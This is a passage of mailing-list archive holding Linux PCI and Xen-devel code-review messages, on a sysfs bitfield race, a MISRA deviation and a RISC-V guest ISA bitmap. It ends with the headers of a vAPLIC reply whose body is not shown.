On Sat, Jul 11, 2026 at 05:21:07PM +0200, Maurice Hieronymus wrote:
> `broken_parity_status` shares a C bitfield word in `struct pci_dev`
> with many other bits. `broken_parity_status_store()` writes it from
> sysfs at any time without taking any lock, so userspace can make it
> race with every other writer of the same word, e.g. `pci_set_master()`
> from a runtime PM resume path, and updates of neighboring bits can be
> lost.

For static bits in struct pci_dev, i.e. ones that are mostly read
and almost never written, and in particular ones that are only
written on device enumeration, it's perfectly fine and more convenient
to keep them as bitfields.  broken_parity_status seems to fit that bill.

For other bits which are modified more frequently, move them to the existing
priv_flags member if you believe they can be updated concurrently.
I'm not sure is_busmaster fits that bill, it isn't updated that often.

Quite honestly I'm wondering if there is anything to fix here.
Yes I get it, userspace may interfere with adjacent bits.
But broken_parity_status is only used for certain broken devices
on EDAC-capable platforms.  That's a fringe use case.
Is it really worth refactoring this?

Perhaps a better approach is to enclose dev_attr_broken_parity_status.attr
in "#ifdef CONFIG_EDAC" so that the attribute isn't shown unless it's used.

We shouldn't have used a sysfs attribute for this in the first place
but rather a quirk.  Unfortunately 6b09ff9d7879 does not betray for which
device this was needed, so it's difficult to convert it to a quirk now.

Bjorn introduced a pci_disable_parity() API in 2021 which is used in a
quirk for certain Mellanox products:

https://lore.kernel.org/all/20210330174318.1289680-1-helgaas@kernel.org/

Perhaps we can deprecate the sysfs attribute in favor of using quirks
for broken devices?

Thanks,

Lukas


From xen-devel-bounces@lists.xenproject.org Sun Jul 12 16:17:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 16:17:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361182.1613614 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiwrw-0002uQ-G0; Sun, 12 Jul 2026 16:17:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361182.1613614; Sun, 12 Jul 2026 16:17:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiwrw-0002uJ-D6; Sun, 12 Jul 2026 16:17:28 +0000
Received: by outflank-mailman (input) for mailman id 1361182;
 Sun, 12 Jul 2026 16:17:27 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <bblank@thinkmo.de>) id 1wiwru-0002uD-Fi
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 16:17:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiwrt-004WvV-4R
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 18:17:25 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <bblank@thinkmo.de>)
 id 6a53bde0-5cb7-0a2a0a5109dd-0a2a4509ea18-26
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 18:17:25 +0200
Received: from [162.55.237.202] (helo=mail.thinkmo.de)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <bblank@thinkmo.de>)
 id 6a53be14-b440-0a2a45090019-a237edcaa0a0-3
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 18:17:24 +0200
Received: from localhost (localhost [127.0.0.1])
 by mail.thinkmo.de (Postfix) with ESMTP id 4gyrLr4rBkzyf1;
 Sun, 12 Jul 2026 16:17:24 +0000 (UTC)
Received: from mail.thinkmo.de ([127.0.0.1])
 by localhost (mail.thinkmo.de [127.0.0.1]) (amavis, port 10024) with ESMTP
 id 9Wi6snuOvNhC; Sun, 12 Jul 2026 16:17:24 +0000 (UTC)
Received: from shell.thinkmo.de (shell.thinkmo.de
 [IPv6:2a01:4f8:271:3f5c:0:22:0:1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange ECDHE (prime256v1) server-signature ECDSA (secp384r1)
 server-digest SHA384) (No client certificate requested)
 by mail.thinkmo.de (Postfix) with ESMTPS id 4gyrLr49LJzyZr;
 Sun, 12 Jul 2026 16:17:24 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mail202312 header.d=thinkmo.de header.i="@thinkmo.de" header.h="In-Reply-To:Content-Disposition:Content-Type:MIME-Version:References:Message-ID:Subject:From:Date:Received:Received"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=thinkmo.de; h=
	in-reply-to:content-disposition:content-type:content-type
	:mime-version:references:message-id:subject:subject:from:from
	:date:date:received:received; s=mail202312; t=1783873044; bh=2Yk
	THO+c8W8ArBOBPzv0PE/7ai2ymP/Klh7FBU8dV2g=; b=aFO4SbV9QoH1FiNAT6C
	0ZLek7Ve6F/8xKORmGviM/P+fxd926EGkgLj0J9pSfMce+a3T6vELgUJK7iIuBkb
	+kNiBj3NzL4qsJb4dj2Fg1oRl5zJAdcILnxNtSn8pcBjiM86FpocHDKtmT/mZWL5
	G3GmimfhDaGne5cdL/5xwKVPs9gBt7FHCC9Ce+Dpn06LU28Ci10rwXfp4LnE5TrG
	SYpYMGVn2VrsKoylR3eiCuyn7iGRht1+R9xPDQIhCC02poE/8Gif8h6fnnUZzef3
	s4fAKQJ+Xtx1ZGsSODHWUdo6V6+GFw0uMoqWTQTX1cOUFXOO4xIDjBkyZgwIGaUL
	2hQ==
X-Virus-Scanned: Debian amavis at 
Date: Sun, 12 Jul 2026 18:17:21 +0200
From: Bastian Blank <bblank@thinkmo.de>
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>, 
	Nicola Vetrini <nicola.vetrini@bugseng.com>, Doug Goldstein <cardoe@cardoe.com>, 
	Stefano Stabellini <sstabellini@kernel.org>, Andrew Cooper <andrew.cooper3@citrix.com>, 
	Anthony PERARD <anthony.perard@vates.tech>, Michal Orzel <michal.orzel@amd.com>, 
	Jan Beulich <jbeulich@suse.com>, Julien Grall <julien@xen.org>, 
	Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
Subject: Re: [PATCH v2 1/3] misra: deviate MISRA C Rule 5.5 for
 'hypfs_alloc_dyndata()'
Message-ID: <5hndddlv4aaa2szgnsfpor4shbfr3tolegiz7w6izqi26vche6@qnhcwjjiy5sc>
Mail-Followup-To: Bastian Blank <bblank@thinkmo.de>, 
	Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>, 
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>, Nicola Vetrini <nicola.vetrini@bugseng.com>, 
	Doug Goldstein <cardoe@cardoe.com>, Stefano Stabellini <sstabellini@kernel.org>, 
	Andrew Cooper <andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>, 
	Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>, Julien Grall <julien@xen.org>, 
	Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
References: <cover.1783864426.git.dmytro_prokopchuk1@epam.com>
 <365f750cfbc626e763819da2604bfccab2ac80f8.1783864426.git.dmytro_prokopchuk1@epam.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
In-Reply-To: <365f750cfbc626e763819da2604bfccab2ac80f8.1783864426.git.dmytro_prokopchuk1@epam.com>
X-purgate-ID: tlsNG-bad1c0/1783873045-54B78A0B-F5D7E2E2/0/0
X-purgate-type: clean
X-purgate-size: 729

On Sun, Jul 12, 2026 at 02:04:44PM +0000, Dmytro Prokopchuk1 wrote:
> +       Clash between hypfs_alloc_dyndata() function and macro names is allowed
> +       because the macro is a typed convenience wrapper around the size-based
> +       allocation function.

Is this really the whole reason for this?  The macro is a wrapper to the
function, so it must be named the same?

If there is a deeper meaning, this should be documented here.  Looking
at the current code, there is no documention at least in the code
directly.  And the function is used once?!?

Bastian

-- 
... The prejudices people feel about each other disappear when they get
to know each other.
		-- Kirk, "Elaan of Troyius", stardate 4372.5


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 06:37:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 06:37:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361387.1613623 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAHx-0000g0-5Z; Mon, 13 Jul 2026 06:37:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361387.1613623; Mon, 13 Jul 2026 06:37:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAHx-0000fs-0c; Mon, 13 Jul 2026 06:37:13 +0000
Received: by outflank-mailman (input) for mailman id 1361387;
 Mon, 13 Jul 2026 06:37:12 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjAHw-0000fm-9I
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 06:37:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjAHv-003TFn-MB
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 08:37:11 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a548792-2eae-0a2a0a5409dd-0a2a45059c4e-16
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 08:37:11 +0200
Received: from [209.85.128.41] (helo=mail-wm1-f41.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a548797-4f1d-0a2a45050019-d1558029d8b3-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 08:37:11 +0200
Received: by mail-wm1-f41.google.com with SMTP id
 5b1f17b1804b1-493f2e39e81so9833455e9.2
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 23:37:11 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493f2d97527sm278504195e9.2.2026.07.12.23.37.10
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Sun, 12 Jul 2026 23:37:10 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783924631; x=1784529431; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=zOd7fscKcDUVaDZTSmawEm0AzwzHgUqhu8aa+6AyuhU=;
        b=ImIBxeecrqwISl1ZiXKjbZjbmsF4HF33qi87UpQmhW/uZt5IXZLeXDkEWxYmdBGrPh
         R86jJHboJVkf+/xT0Yqy8Tu5fj0N9XvNBNc2X0Qy8cGSyGiA7WmZKckgN0xNrCVS/nXP
         B+MQ9Z14NTGP2pY1foK01gVDkYdLpDcvbK58LifYAU/tCDJ/6fuGNRSEd0H8ENoifdfI
         Ywoon4lmt7ZQpN8W9P7yQBnL8f44BD12dbg/4jeOc/UCAk0U5EYAC6VaXq6RJR031nYD
         DhwXF5iX1v+abY7b/9nG+Ad7dUVU7PKcD6MxR5nOpv6Pqnd/hHxk8A6xQ3Q0rFi9G24R
         WyRg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783924631; x=1784529431;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=zOd7fscKcDUVaDZTSmawEm0AzwzHgUqhu8aa+6AyuhU=;
        b=BI5Cy7Za0lUWgowkvPuh1klvIwaNdliXg4pYgQqyL7ProeBdSymXh+tc47qGcNJssc
         oMAqgbmPZE5IfRP+oTbWWCRzC99L8e6ZzEh1atR0KPOHtTsAnC/qLipvuLvXE0PWNG9I
         TTjch8H4N2g73BZVgNUypPOph61IF/QxOcd2+caKCLFw7wlOa8ZGJxdG+c+dIxlnsJHQ
         B85qmD73ysaulaM4sDqs+BPKXr1Hu9ts8PPQ5oi4lIhlAUUdavhU4MnyCTGpgU+ebJwb
         cBre4kd6IZ7AtNWQ2L7AGnO4TQ8W7pWrRpewXAltu4qj6tl1hJr+zzKSwewP6cNdI1DK
         oXYw==
X-Forwarded-Encrypted: i=1; AHgh+Rp2oKv7wENKyeI4C8rDN1mLQcCQwFhiaP6/cojghEMAsWr22j7Ie9B1ZCz/vDqmze5s+omO1HQWicw=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yzr7lf5zySeaqKB1PhPm27LUFdDpN8PdE7SAGFf/qK11aDVvyYU
	A7A4hApouQ5Epz/Iuu4ECHel9lcsHHv3XQg7kJlTdUGIdQ/lXOiDEFhLqtm+Ol23Cw==
X-Gm-Gg: AfdE7cnrVUvVMSaFpq1oG6eHcQdXlL6Emy3sbfAwpA02U1wmizExz08ELRL8vr36KqZ
	PkL/jOURsARUmEW0gBRu0hiBzz9KN1DYcUrCPb8p7TEFf/obwoncfsCF7escBXSMZUSc3B444/h
	PVaS8PlzZdYGY5msXBTqoj9nAuoriISGUULgXf3NIXzki4C2tDxUptC7azpp0eHGk9POzSznHEQ
	POyC69XUTPQsGV9eZkDU0RRBEZV0LmErwcdvGZkOU4Ph5dD6xXSow2MJYqNzqq0r06GhFAjCDhj
	EAfEzvJ996MXPg9ofiDwXq+SfANe+lnTcmUpmcVSgYWLnS/0Gjpj8keLP9dXA24De7KgW/Hx5D9
	m1YgP1PeQJs2JWH9q1SNsX3p3alYI9kIEpixGiNls+ezgVXaBEDBqtIVdDLnbgiz+uCb48aMnjA
	/QTTlthzBThuxdN9GRoe4UF92cUDSxzIJggRY3mKiJw0YoDuQHqjBCFsTYXtJLb4jjrfYw3ghet
	aJb
X-Received: by 2002:a05:600c:5297:b0:492:454c:347c with SMTP id 5b1f17b1804b1-494013134aemr27043005e9.7.1783924631048;
        Sun, 12 Jul 2026 23:37:11 -0700 (PDT)
Message-ID: <3f0814c9-13fb-40db-b6ee-19e9964f8dc6@suse.com>
Date: Mon, 13 Jul 2026 08:37:09 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 09/26] xen/riscv: introduce guest riscv,isa string
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <dc486923b5313c64cf383575d25c58c9af9e5eae.1783331040.git.oleksii.kurochko@gmail.com>
 <2f26c623-e577-44bb-8163-f52b97496d05@suse.com>
 <79e5b29d-b107-4176-b8e8-bacf4c4059cd@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oAS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M51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <79e5b29d-b107-4176-b8e8-bacf4c4059cd@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1783924631-DA74512E-71CE1253/0/0
X-purgate-type: clean
X-purgate-size: 2509

On 10.07.2026 17:00, Oleksii Kurochko wrote:
> On 7/9/26 3:05 PM, Jan Beulich wrote:
>> On 06.07.2026 17:57, Oleksii Kurochko wrote:
>>> +void init_guest_isa(struct domain *d)
>>> +{
>>> +    for ( unsigned int i = 0; i < ARRAY_SIZE(riscv_isa_ext); i++ )
>>> +    {
>>> +        const struct riscv_isa_ext_entry *ext = &riscv_isa_ext[i];
>>> +
>>> +        if ( ext->guest_supported &&
>>> +             riscv_isa_extension_available(NULL, ext->id) )
>>> +            __set_bit(ext->id, d->arch.isa);
>>> +    }
>>> +}
>>
>> Right now what this function does is dependent on only global variables.
>> IOW each guest gets the same bitmap. Is this going to change soon?
> 
> At the moment, we don't have a use case where domain has unique bitmap. 
> But IIRC correctly we agreed that generally it is good idea to have isa 
> bitmap per domain and let the use to chose.

Indeed. But what you're doing (in this series alone) is a mix of things:
Some properties are per-domain, some are global. Such a mix might be okay
if it's justified by something. Otherwise I think consistency it to be
valued higher.

>   Else
>> why not calculate that bitmap once, taking the same shortcut as you take
>> elsewhere for the time being?
> 
> static __ro_after_init DECLARE_BITMAP(guest_isa, RISCV_ISA_EXT_MAX);
> 
> /* called once from riscv_fill_hwcap() or similar */
> void __init init_guest_isa_mask(void)
> {
>      for ( unsigned int i = 0; i < ARRAY_SIZE(riscv_isa_ext); i++ )
>          if ( riscv_isa_ext[i].guest_supported &&
>               riscv_isa_extension_available(NULL, riscv_isa_ext[i].id) )
>              __set_bit(riscv_isa_ext[i].id, guest_isa);
> }
> 
> void init_guest_isa(struct domain *d)   /* called per-domain */
> {
>      bitmap_copy(d->arch.isa, guest_isa, RISCV_ISA_EXT_MAX);
> }
> 
> Do you mean something like that?

Yes. Not necessarily with bitmap_copy() though; perhaps with a pointer in
struct domain.

>   Then allowing riscv_isa_ext[] to remain
>> __initconst (should really have been __initconstrel).
> 
> I think you explained me already why but I forgot. Could you please 
> remind me again why __initconstrel should be here? Is it because of 
> pointers used inside struct riscv_isa_ext_entry?

Yes, pointers incur relocations, and the need for relocations requires
that the compiler emit the data to a writable section. As opposed to
relocation-free data, which (when declared const) can go into a r/o
section.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 06:42:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 06:42:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361395.1613633 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAMZ-0002AF-MT; Mon, 13 Jul 2026 06:41:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361395.1613633; Mon, 13 Jul 2026 06:41:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjAMZ-0002A8-Hn; Mon, 13 Jul 2026 06:41:59 +0000
Received: by outflank-mailman (input) for mailman id 1361395;
 Mon, 13 Jul 2026 06:41:58 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjAMY-0002A2-MT
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 06:41:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjAMX-006FPw-VL
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 08:41:57 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5488b2-e002-0a2a0a5209dd-0a2a4504cce6-20
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 08:41:57 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a5488b5-b1e5-0a2a45040019-d1558034c429-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 08:41:57 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-493bfe9f886so13744515e9.0
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 23:41:57 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493f2dd8376sm163026445e9.2.2026.07.12.23.41.56
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Sun, 12 Jul 2026 23:41:57 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783924917; x=1784529717; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=3GfIirhzSPKRYNVfm0DiN/E24+YSKw3b+5AGVW2jxGM=;
        b=ePwRlEWpVeE1sR1xazGeQGCI/ADjMBNpqmiwYaIfmyV7RY0uAgNfO58tC22HI1UrlV
         9X8nfyMAeHXS383q81nQN7vjLWUVPn5kjFJtILcUszThI1vlqOBxCOBD/T9pblePd7q4
         nTQvMqVUpg2Od1l5LiVmXR8Xjao1vWVNMzT8vqVBu3TqQ/FTYUlqwW4bM2zt5Sd4yL7q
         jjPx5t8FCPkrvMAt5UBC1PolyOZiNcKrjfE/KtyDKorEGUYuf/GRE0vkExDSSvZEhdBe
         vl1DRMqwVLAcMwYfVh2szlV6oDkFYIFySsWytrMTLLsVHDPIQdFcxXsAoP1t8lHiWJpQ
         tdGA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783924917; x=1784529717;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=3GfIirhzSPKRYNVfm0DiN/E24+YSKw3b+5AGVW2jxGM=;
        b=LGjN98dGx9iwMDKqHfwSYca3CQ11A4Jclf5TeM66jLAa5/u1J8ItWuPGM2dWoEMT+x
         ONm/ScNlXanKywMZggOb9zm0KnL1wDThd4+3kqmpk2McBf3tHCOEtDBHjxvaY5pBT+TO
         IDT1J1CB8WYvPWYevhbAVDUK0pQrrQiLj4Y3Kt+qia6Y9lXgjM1qY2ZKUVTQ8DHscyNO
         IHNb6jwX54ZebUrtBrZE7kyNuscvk1aaw4iFjADbJjySBNyG1Iw/0tO5oIYyxtda2q/b
         WCzSOM7kwElGmjZctvpFm5BmqfsxjAjqBBxn4t3jBHtaMPU/cSjHcuTFbtkQJtYNxJ4X
         1hmg==
X-Forwarded-Encrypted: i=1; AHgh+RotvAsDnTq9qYqyJaIvWDmWPE4NWVf13x4zzifV4KwkTk7JrZU0HJ01S1fwJEp6W/UhKvaZqfpVMHg=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx+kuzFMDCUWuGY6gxGonYCMW1xOO0qGA2jJWDa1th3kEBBrW4k
	BS7O+aqnBKm+i4dR0TI93POxE/iO/4zBmGRvUweM/XZMod5Jcl3NgXtbiLujeCbD/A==
X-Gm-Gg: AfdE7cmjGQSNxsK5ujODyQFizk1LdaEpTXc4uh/Qh77chue9UzJdqatcHBh00mKZUeo
	tEVkcalDiYe8cTiHX/1s4fJqAG3K5ZS24fJUOPUi2r8W/6353zFjA6W4TiqzK7FaR9Ngh2L5mY6
	DSZ1w+7hts0qPnd5hLfWN3424vdbwN3Ygd8MjHtStNOuw3xWL+Tl0uJ+r/VnEMx7PW+tSo67J0j
	rxZ2hM+t1AtwmQIQUaEv2TqMPKmP5J/2byK+hN0TiQrWc520ewHRppRraDO03RB9Xpp9vv0Xjpp
	iT5WNkO6YFqDdnZ7T+zWQyPRR3RQw5Pe099rm9hGjNWZEMUthEsQ495Qc8z1kI+cm2PKowBLeGm
	QRT6HcvLEsz4mLc/3VYSshp/wXI/Mx81ms5h8BXqtnyLqs6GG47g3o5vrdpa+f2Lyv+Foa5RBwv
	OqISpAbXe2QHEwOjZYXr4noHj/XkD8U99481tCEFVMpBokollZW0umIhdY20dl7wDKAxDDgxK3d
	WS7
X-Received: by 2002:a05:600c:3143:b0:493:b150:c607 with SMTP id 5b1f17b1804b1-493f87e9fc7mr72424735e9.12.1783924917311;
        Sun, 12 Jul 2026 23:41:57 -0700 (PDT)
Message-ID: <d38333f3-0dd0-43ad-ab3d-c6366ae8c74f@suse.com>
Date: Mon, 13 Jul 2026 08:41:56 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 17/26] xen/riscv: introduce minimal virtual APLIC
 (vAPLIC) infrastructure
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <1f51410c080599a5c80173398d9db837b8718356.1783331040.git.oleksii.kurochko@gmail.com>
